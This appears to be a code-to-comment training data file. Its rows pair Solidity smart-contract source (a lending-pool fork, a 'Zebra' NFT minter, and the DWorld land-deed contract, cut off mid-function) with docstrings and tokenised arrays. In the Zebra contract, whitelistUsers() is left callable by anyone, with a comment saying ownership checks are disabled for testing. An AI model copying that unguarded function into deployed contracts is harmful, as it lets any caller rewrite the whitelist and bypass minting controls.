sub_(supplyIndex, supplierIndex); if (deltaIndex.mantissa > 0) { uint supplierTokens = CToken(address(this)).balanceOf(supplier); uint supplierDelta = mul_(supplierTokens, deltaIndex); fTokenUserAccrued[supplier] = add_(fTokenUserAccrued[supplier], supplierDelta); lpSupplierIndex[supplier] = supplyIndex.mantissa; } Double memory compSupplyIndex = Double({mantissa: lpSupplyState.compIndex}); Double memory compSupplierIndex_ = Double({mantissa: compSupplierIndex[supplier]}); Double memory deltaCompIndex = sub_(compSupplyIndex, compSupplierIndex_); if (deltaCompIndex.mantissa > 0) { uint supplierTokens = CToken(address(this)).balanceOf(supplier); uint supplierDelta = mul_(supplierTokens, deltaCompIndex); compUserAccrued[supplier] = add_(compUserAccrued[supplier], supplierDelta); compSupplierIndex[supplier] = compSupplyIndex.mantissa; } } function mdxBalance() internal view returns (uint) { return EIP20Interface(mdx).balanceOf(address(this)); } function fTokenBalance() internal view returns (uint) { return EIP20Interface(fMdx).balanceOf(address(this)); } function compBalance() internal view returns (uint) { return EIP20Interface(comp).balanceOf(address(this)); } }
* @notice Gets balance of this contract in terms of the underlying @return The quantity of underlying tokens owned by this contract/
function getCashPrior() internal view returns (uint) { HecoPool.UserInfo memory userInfo = HecoPool(hecoPool).userInfo(pid, address(this)); return userInfo.amount; }
12,623,631
[ 1, 3002, 11013, 434, 333, 6835, 316, 6548, 434, 326, 6808, 327, 1021, 10457, 434, 6808, 2430, 16199, 635, 333, 6835, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1927, 961, 25355, 1435, 2713, 1476, 1135, 261, 11890, 13, 288, 203, 3639, 670, 557, 83, 2864, 18, 21015, 3778, 16753, 273, 670, 557, 83, 2864, 12, 76, 557, 83, 2864, 2934, 1355, 966, 12, 6610, 16, 1758, 12, 2211, 10019, 203, 3639, 327, 16753, 18, 8949, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "hardhat/console.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; /// @title A basic ERC721 smart contract that allows user to mint multiple tokens at once. /// @dev Inherits standard Openzeppelin's library. contract Zebra is ERC721URIStorage, Pausable, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; uint256 private _price = 500000000000000; address[] private whitelistedAddresses; bool private onlyWhitelisted = true; uint256 private nftPerAddressLimit = 20; constructor()ERC721("Zebra", "ZBR"){ } function getMintingPrice(uint256 _mintAmount) public view returns (uint256) { return _mintAmount *_price; } /** @notice onlyOwner is not enforced so as to allow anyone call this function. @dev Requires minimum number of mintable token to be at least 1. */ function createToken(string memory tokenURI, uint256 _mintAmount) public payable whenNotPaused { require(_mintAmount > 0, "Minimum number of mintable token is 1"); uint256 _mintingPrice = _price * _mintAmount; if(onlyWhitelisted == true) { require(msg.value == _mintingPrice, "Please send along 0.0005 ether for each NFT to complete minting"); require(isWhitelisted(msg.sender), "user is not whitelisted"); // uint256 ownerMintedCount = addressMintedBalance[msg.sender]; uint256 ownerMintedCount = balanceOf(msg.sender); require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per whitelisted address exceeded"); } require(msg.value == _mintingPrice, "Please send along 0.0005 ether for each NFT to complete minting"); for (uint256 i = 1; i <= _mintAmount; i++) { uint256 newItemId = _tokenIds.current(); _mint(msg.sender, newItemId); string memory uniqueURI = string(abi.encodePacked(tokenURI, i)); _setTokenURI(newItemId, uniqueURI); _tokenIds.increment(); } } function isWhitelisted(address _user) private view returns (bool) { for (uint i = 0; i < whitelistedAddresses.length; i++) { if (whitelistedAddresses[i] == _user) { return true; } } return false; } // To be called by onlyOwner but disabled for the purpose of testing. function whitelistUsers(address[] calldata _users) public { delete whitelistedAddresses; whitelistedAddresses = _users; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setOnlyWhitelisted(bool _state) public onlyOwner { onlyWhitelisted = _state; } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } }
*/ uint256 ownerMintedCount = addressMintedBalance[msg.sender];
@notice onlyOwner is not enforced so as to allow anyone call this function. @dev Requires minimum number of mintable token to be at least 1. function createToken(string memory tokenURI, uint256 _mintAmount) public payable whenNotPaused { require(_mintAmount > 0, "Minimum number of mintable token is 1"); uint256 _mintingPrice = _price * _mintAmount; if(onlyWhitelisted == true) { require(msg.value == _mintingPrice, "Please send along 0.0005 ether for each NFT to complete minting"); require(isWhitelisted(msg.sender), "user is not whitelisted"); uint256 ownerMintedCount = balanceOf(msg.sender); require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per whitelisted address exceeded"); } require(msg.value == _mintingPrice, "Please send along 0.0005 ether for each NFT to complete minting"); for (uint256 i = 1; i <= _mintAmount; i++) { uint256 newItemId = _tokenIds.current(); _mint(msg.sender, newItemId); string memory uniqueURI = string(abi.encodePacked(tokenURI, i)); _setTokenURI(newItemId, uniqueURI); _tokenIds.increment(); } }
12,733,206
[ 1, 19, 2254, 5034, 3410, 49, 474, 329, 1380, 273, 1758, 49, 474, 329, 13937, 63, 3576, 18, 15330, 15533, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 632, 20392, 1338, 5541, 353, 486, 570, 19778, 1427, 487, 358, 1699, 1281, 476, 745, 333, 445, 18, 203, 565, 632, 5206, 16412, 5224, 1300, 434, 312, 474, 429, 1147, 358, 506, 622, 4520, 404, 18, 203, 203, 565, 445, 752, 1345, 12, 1080, 3778, 1147, 3098, 16, 2254, 5034, 389, 81, 474, 6275, 13, 1071, 8843, 429, 1347, 1248, 28590, 288, 203, 3639, 2583, 24899, 81, 474, 6275, 405, 374, 16, 315, 13042, 1300, 434, 312, 474, 429, 1147, 353, 404, 8863, 203, 3639, 2254, 5034, 389, 81, 474, 310, 5147, 273, 389, 8694, 380, 389, 81, 474, 6275, 31, 203, 540, 203, 3639, 309, 12, 3700, 18927, 329, 422, 638, 13, 288, 203, 5411, 2583, 12, 3576, 18, 1132, 422, 389, 81, 474, 310, 5147, 16, 315, 8496, 1366, 7563, 374, 18, 3784, 25, 225, 2437, 364, 1517, 423, 4464, 358, 3912, 312, 474, 310, 8863, 203, 5411, 2583, 12, 291, 18927, 329, 12, 3576, 18, 15330, 3631, 315, 1355, 353, 486, 26944, 8863, 203, 5411, 2254, 5034, 3410, 49, 474, 329, 1380, 273, 11013, 951, 12, 3576, 18, 15330, 1769, 203, 5411, 2583, 12, 8443, 49, 474, 329, 1380, 397, 389, 81, 474, 6275, 1648, 290, 1222, 2173, 1887, 3039, 16, 315, 1896, 423, 4464, 1534, 26944, 1758, 12428, 8863, 203, 3639, 289, 203, 540, 203, 3639, 2583, 12, 3576, 18, 1132, 422, 389, 81, 474, 310, 5147, 16, 315, 8496, 1366, 7563, 374, 18, 3784, 25, 225, 2437, 364, 1517, 423, 4464, 358, 3912, 312, 474, 310, 8863, 203, 2 ]
//Address: 0xb8bf73550f251562d308882e032225a700a7b9bc //Contract name: DWorldCore //Balance: 0 Ether //Verification Date: 2/3/2018 //Transacion Count: 7 // CODE STARTS HERE pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } /// @title Interface for contracts conforming to ERC-721: Deed Standard /// @author William Entriken (https://phor.net), et al. /// @dev Specification at https://github.com/ethereum/EIPs/pull/841 (DRAFT) interface ERC721 { // COMPLIANCE WITH ERC-165 (DRAFT) ///////////////////////////////////////// /// @dev ERC-165 (draft) interface signature for itself // bytes4 internal constant INTERFACE_SIGNATURE_ERC165 = // 0x01ffc9a7 // bytes4(keccak256('supportsInterface(bytes4)')); /// @dev ERC-165 (draft) interface signature for ERC721 // bytes4 internal constant INTERFACE_SIGNATURE_ERC721 = // 0xda671b9b // bytes4(keccak256('ownerOf(uint256)')) ^ // bytes4(keccak256('countOfDeeds()')) ^ // bytes4(keccak256('countOfDeedsByOwner(address)')) ^ // bytes4(keccak256('deedOfOwnerByIndex(address,uint256)')) ^ // bytes4(keccak256('approve(address,uint256)')) ^ // bytes4(keccak256('takeOwnership(uint256)')); /// @notice Query a contract to see if it supports a certain interface /// @dev Returns `true` the interface is supported and `false` otherwise, /// returns `true` for INTERFACE_SIGNATURE_ERC165 and /// INTERFACE_SIGNATURE_ERC721, see ERC-165 for other interface signatures. function supportsInterface(bytes4 _interfaceID) external pure returns (bool); // PUBLIC QUERY FUNCTIONS ////////////////////////////////////////////////// /// @notice Find the owner of a deed /// @param _deedId The identifier for a deed we are inspecting /// @dev Deeds assigned to zero address are considered destroyed, and /// queries about them do throw. /// @return The non-zero address of the owner of deed `_deedId`, or `throw` /// if deed `_deedId` is not tracked by this contract function ownerOf(uint256 _deedId) external view returns (address _owner); /// @notice Count deeds tracked by this contract /// @return A count of the deeds tracked by this contract, where each one of /// them has an assigned and queryable owner function countOfDeeds() public view returns (uint256 _count); /// @notice Count all deeds assigned to an owner /// @dev Throws if `_owner` is the zero address, representing destroyed deeds. /// @param _owner An address where we are interested in deeds owned by them /// @return The number of deeds owned by `_owner`, possibly zero function countOfDeedsByOwner(address _owner) public view returns (uint256 _count); /// @notice Enumerate deeds assigned to an owner /// @dev Throws if `_index` >= `countOfDeedsByOwner(_owner)` or if /// `_owner` is the zero address, representing destroyed deeds. /// @param _owner An address where we are interested in deeds owned by them /// @param _index A counter between zero and `countOfDeedsByOwner(_owner)`, /// inclusive /// @return The identifier for the `_index`th deed assigned to `_owner`, /// (sort order not specified) function deedOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 _deedId); // TRANSFER MECHANISM ////////////////////////////////////////////////////// /// @dev This event emits when ownership of any deed changes by any /// mechanism. This event emits when deeds are created (`from` == 0) and /// destroyed (`to` == 0). Exception: during contract creation, any /// transfers may occur without emitting `Transfer`. event Transfer(address indexed from, address indexed to, uint256 indexed deedId); /// @dev This event emits on any successful call to /// `approve(address _spender, uint256 _deedId)`. Exception: does not emit /// if an owner revokes approval (`_to` == 0x0) on a deed with no existing /// approval. event Approval(address indexed owner, address indexed approved, uint256 indexed deedId); /// @notice Approve a new owner to take your deed, or revoke approval by /// setting the zero address. You may `approve` any number of times while /// the deed is assigned to you, only the most recent approval matters. /// @dev Throws if `msg.sender` does not own deed `_deedId` or if `_to` == /// `msg.sender`. /// @param _deedId The deed you are granting ownership of function approve(address _to, uint256 _deedId) external; /// @notice Become owner of a deed for which you are currently approved /// @dev Throws if `msg.sender` is not approved to become the owner of /// `deedId` or if `msg.sender` currently owns `_deedId`. /// @param _deedId The deed that is being transferred function takeOwnership(uint256 _deedId) external; // SPEC EXTENSIONS ///////////////////////////////////////////////////////// /// @notice Transfer a deed to a new owner. /// @dev Throws if `msg.sender` does not own deed `_deedId` or if /// `_to` == 0x0. /// @param _to The address of the new owner. /// @param _deedId The deed you are transferring. function transfer(address _to, uint256 _deedId) external; } /// @title Metadata extension to ERC-721 interface /// @author William Entriken (https://phor.net) /// @dev Specification at https://github.com/ethereum/EIPs/pull/841 (DRAFT) interface ERC721Metadata { /// @dev ERC-165 (draft) interface signature for ERC721 // bytes4 internal constant INTERFACE_SIGNATURE_ERC721Metadata = // 0x2a786f11 // bytes4(keccak256('name()')) ^ // bytes4(keccak256('symbol()')) ^ // bytes4(keccak256('deedUri(uint256)')); /// @notice A descriptive name for a collection of deeds managed by this /// contract /// @dev Wallets and exchanges MAY display this to the end user. function name() public pure returns (string _deedName); /// @notice An abbreviated name for deeds managed by this contract /// @dev Wallets and exchanges MAY display this to the end user. function symbol() public pure returns (string _deedSymbol); /// @notice A distinct URI (RFC 3986) for a given token. /// @dev If: /// * The URI is a URL /// * The URL is accessible /// * The URL points to a valid JSON file format (ECMA-404 2nd ed.) /// * The JSON base element is an object /// then these names of the base element SHALL have special meaning: /// * "name": A string identifying the item to which `_deedId` grants /// ownership /// * "description": A string detailing the item to which `_deedId` grants /// ownership /// * "image": A URI pointing to a file of image/* mime type representing /// the item to which `_deedId` grants ownership /// Wallets and exchanges MAY display this to the end user. /// Consider making any images at a width between 320 and 1080 pixels and /// aspect ratio between 1.91:1 and 4:5 inclusive. function deedUri(uint256 _deedId) external pure returns (string _uri); } /// @dev Implements access control to the DWorld contract. contract DWorldAccessControl is Claimable, Pausable, CanReclaimToken { address public cfoAddress; function DWorldAccessControl() public { // The creator of the contract is the initial CFO. cfoAddress = msg.sender; } /// @dev Access modifier for CFO-only functionality. modifier onlyCFO() { require(msg.sender == cfoAddress); _; } /// @dev Assigns a new address to act as the CFO. Only available to the current contract owner. /// @param _newCFO The address of the new CFO. function setCFO(address _newCFO) external onlyOwner { require(_newCFO != address(0)); cfoAddress = _newCFO; } } /// @dev Defines base data structures for DWorld. contract DWorldBase is DWorldAccessControl { using SafeMath for uint256; /// @dev All minted plots (array of plot identifiers). There are /// 2^16 * 2^16 possible plots (covering the entire world), thus /// 32 bits are required. This fits in a uint32. Storing /// the identifiers as uint32 instead of uint256 makes storage /// cheaper. (The impact of this in mappings is less noticeable, /// and using uint32 in the mappings below actually *increases* /// gas cost for minting). uint32[] public plots; mapping (uint256 => address) identifierToOwner; mapping (uint256 => address) identifierToApproved; mapping (address => uint256) ownershipDeedCount; // Boolean indicating whether the plot was bought before the migration. mapping (uint256 => bool) public identifierIsOriginal; /// @dev Event fired when a plot's data are changed. The plot /// data are not stored in the contract directly, instead the /// data are logged to the block. This gives significant /// reductions in gas requirements (~75k for minting with data /// instead of ~180k). However, it also means plot data are /// not available from *within* other contracts. event SetData(uint256 indexed deedId, string name, string description, string imageUrl, string infoUrl); /// @notice Get all minted plots. function getAllPlots() external view returns(uint32[]) { return plots; } /// @dev Represent a 2D coordinate as a single uint. /// @param x The x-coordinate. /// @param y The y-coordinate. function coordinateToIdentifier(uint256 x, uint256 y) public pure returns(uint256) { require(validCoordinate(x, y)); return (y << 16) + x; } /// @dev Turn a single uint representation of a coordinate into its x and y parts. /// @param identifier The uint representation of a coordinate. function identifierToCoordinate(uint256 identifier) public pure returns(uint256 x, uint256 y) { require(validIdentifier(identifier)); y = identifier >> 16; x = identifier - (y << 16); } /// @dev Test whether the coordinate is valid. /// @param x The x-part of the coordinate to test. /// @param y The y-part of the coordinate to test. function validCoordinate(uint256 x, uint256 y) public pure returns(bool) { return x < 65536 && y < 65536; // 2^16 } /// @dev Test whether an identifier is valid. /// @param identifier The identifier to test. function validIdentifier(uint256 identifier) public pure returns(bool) { return identifier < 4294967296; // 2^16 * 2^16 } /// @dev Set a plot's data. /// @param identifier The identifier of the plot to set data for. function _setPlotData(uint256 identifier, string name, string description, string imageUrl, string infoUrl) internal { SetData(identifier, name, description, imageUrl, infoUrl); } } /// @dev Holds deed functionality such as approving and transferring. Implements ERC721. contract DWorldDeed is DWorldBase, ERC721, ERC721Metadata { /// @notice Name of the collection of deeds (non-fungible token), as defined in ERC721Metadata. function name() public pure returns (string _deedName) { _deedName = "DWorld Plots"; } /// @notice Symbol of the collection of deeds (non-fungible token), as defined in ERC721Metadata. function symbol() public pure returns (string _deedSymbol) { _deedSymbol = "DWP"; } /// @dev ERC-165 (draft) interface signature for itself bytes4 internal constant INTERFACE_SIGNATURE_ERC165 = // 0x01ffc9a7 bytes4(keccak256('supportsInterface(bytes4)')); /// @dev ERC-165 (draft) interface signature for ERC721 bytes4 internal constant INTERFACE_SIGNATURE_ERC721 = // 0xda671b9b bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('countOfDeeds()')) ^ bytes4(keccak256('countOfDeedsByOwner(address)')) ^ bytes4(keccak256('deedOfOwnerByIndex(address,uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('takeOwnership(uint256)')); /// @dev ERC-165 (draft) interface signature for ERC721 bytes4 internal constant INTERFACE_SIGNATURE_ERC721Metadata = // 0x2a786f11 bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('deedUri(uint256)')); /// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). /// Returns true for any standardized interfaces implemented by this contract. /// (ERC-165 and ERC-721.) function supportsInterface(bytes4 _interfaceID) external pure returns (bool) { return ( (_interfaceID == INTERFACE_SIGNATURE_ERC165) || (_interfaceID == INTERFACE_SIGNATURE_ERC721) || (_interfaceID == INTERFACE_SIGNATURE_ERC721Metadata) ); } /// @dev Checks if a given address owns a particular plot. /// @param _owner The address of the owner to check for. /// @param _deedId The plot identifier to check for. function _owns(address _owner, uint256 _deedId) internal view returns (bool) { return identifierToOwner[_deedId] == _owner; } /// @dev Approve a given address to take ownership of a deed. /// @param _from The address approving taking ownership. /// @param _to The address to approve taking ownership. /// @param _deedId The identifier of the deed to give approval for. function _approve(address _from, address _to, uint256 _deedId) internal { identifierToApproved[_deedId] = _to; // Emit event. Approval(_from, _to, _deedId); } /// @dev Checks if a given address has approval to take ownership of a deed. /// @param _claimant The address of the claimant to check for. /// @param _deedId The identifier of the deed to check for. function _approvedFor(address _claimant, uint256 _deedId) internal view returns (bool) { return identifierToApproved[_deedId] == _claimant; } /// @dev Assigns ownership of a specific deed to an address. /// @param _from The address to transfer the deed from. /// @param _to The address to transfer the deed to. /// @param _deedId The identifier of the deed to transfer. function _transfer(address _from, address _to, uint256 _deedId) internal { // The number of plots is capped at 2^16 * 2^16, so this cannot // be overflowed. ownershipDeedCount[_to]++; // Transfer ownership. identifierToOwner[_deedId] = _to; // When a new deed is minted, the _from address is 0x0, but we // do not track deed ownership of 0x0. if (_from != address(0)) { ownershipDeedCount[_from]--; // Clear taking ownership approval. delete identifierToApproved[_deedId]; } // Emit the transfer event. Transfer(_from, _to, _deedId); } // ERC 721 implementation /// @notice Returns the total number of deeds currently in existence. /// @dev Required for ERC-721 compliance. function countOfDeeds() public view returns (uint256) { return plots.length; } /// @notice Returns the number of deeds owned by a specific address. /// @param _owner The owner address to check. /// @dev Required for ERC-721 compliance function countOfDeedsByOwner(address _owner) public view returns (uint256) { return ownershipDeedCount[_owner]; } /// @notice Returns the address currently assigned ownership of a given deed. /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _deedId) external view returns (address _owner) { _owner = identifierToOwner[_deedId]; require(_owner != address(0)); } /// @notice Approve a given address to take ownership of a deed. /// @param _to The address to approve taking owernship. /// @param _deedId The identifier of the deed to give approval for. /// @dev Required for ERC-721 compliance. function approve(address _to, uint256 _deedId) external whenNotPaused { uint256[] memory _deedIds = new uint256[](1); _deedIds[0] = _deedId; approveMultiple(_to, _deedIds); } /// @notice Approve a given address to take ownership of multiple deeds. /// @param _to The address to approve taking ownership. /// @param _deedIds The identifiers of the deeds to give approval for. function approveMultiple(address _to, uint256[] _deedIds) public whenNotPaused { // Ensure the sender is not approving themselves. require(msg.sender != _to); for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; // Require the sender is the owner of the deed. require(_owns(msg.sender, _deedId)); // Perform the approval. _approve(msg.sender, _to, _deedId); } } /// @notice Transfer a deed to another address. If transferring to a smart /// contract be VERY CAREFUL to ensure that it is aware of ERC-721, or your /// deed may be lost forever. /// @param _to The address of the recipient, can be a user or contract. /// @param _deedId The identifier of the deed to transfer. /// @dev Required for ERC-721 compliance. function transfer(address _to, uint256 _deedId) external whenNotPaused { uint256[] memory _deedIds = new uint256[](1); _deedIds[0] = _deedId; transferMultiple(_to, _deedIds); } /// @notice Transfers multiple deeds to another address. If transferring to /// a smart contract be VERY CAREFUL to ensure that it is aware of ERC-721, /// or your deeds may be lost forever. /// @param _to The address of the recipient, can be a user or contract. /// @param _deedIds The identifiers of the deeds to transfer. function transferMultiple(address _to, uint256[] _deedIds) public whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. require(_to != address(this)); for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; // One can only transfer their own plots. require(_owns(msg.sender, _deedId)); // Transfer ownership _transfer(msg.sender, _to, _deedId); } } /// @notice Transfer a deed owned by another address, for which the calling /// address has previously been granted transfer approval by the owner. /// @param _deedId The identifier of the deed to be transferred. /// @dev Required for ERC-721 compliance. function takeOwnership(uint256 _deedId) external whenNotPaused { uint256[] memory _deedIds = new uint256[](1); _deedIds[0] = _deedId; takeOwnershipMultiple(_deedIds); } /// @notice Transfer multiple deeds owned by another address, for which the /// calling address has previously been granted transfer approval by the owner. /// @param _deedIds The identifier of the deed to be transferred. function takeOwnershipMultiple(uint256[] _deedIds) public whenNotPaused { for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; address _from = identifierToOwner[_deedId]; // Check for transfer approval require(_approvedFor(msg.sender, _deedId)); // Reassign ownership (also clears pending approvals and emits Transfer event). _transfer(_from, msg.sender, _deedId); } } /// @notice Returns a list of all deed identifiers assigned to an address. /// @param _owner The owner whose deeds we are interested in. /// @dev This method MUST NEVER be called by smart contract code. It's very /// expensive and is not supported in contract-to-contract calls as it returns /// a dynamic array (only supported for web3 calls). function deedsOfOwner(address _owner) external view returns(uint256[]) { uint256 deedCount = countOfDeedsByOwner(_owner); if (deedCount == 0) { // Return an empty array. return new uint256[](0); } else { uint256[] memory result = new uint256[](deedCount); uint256 totalDeeds = countOfDeeds(); uint256 resultIndex = 0; for (uint256 deedNumber = 0; deedNumber < 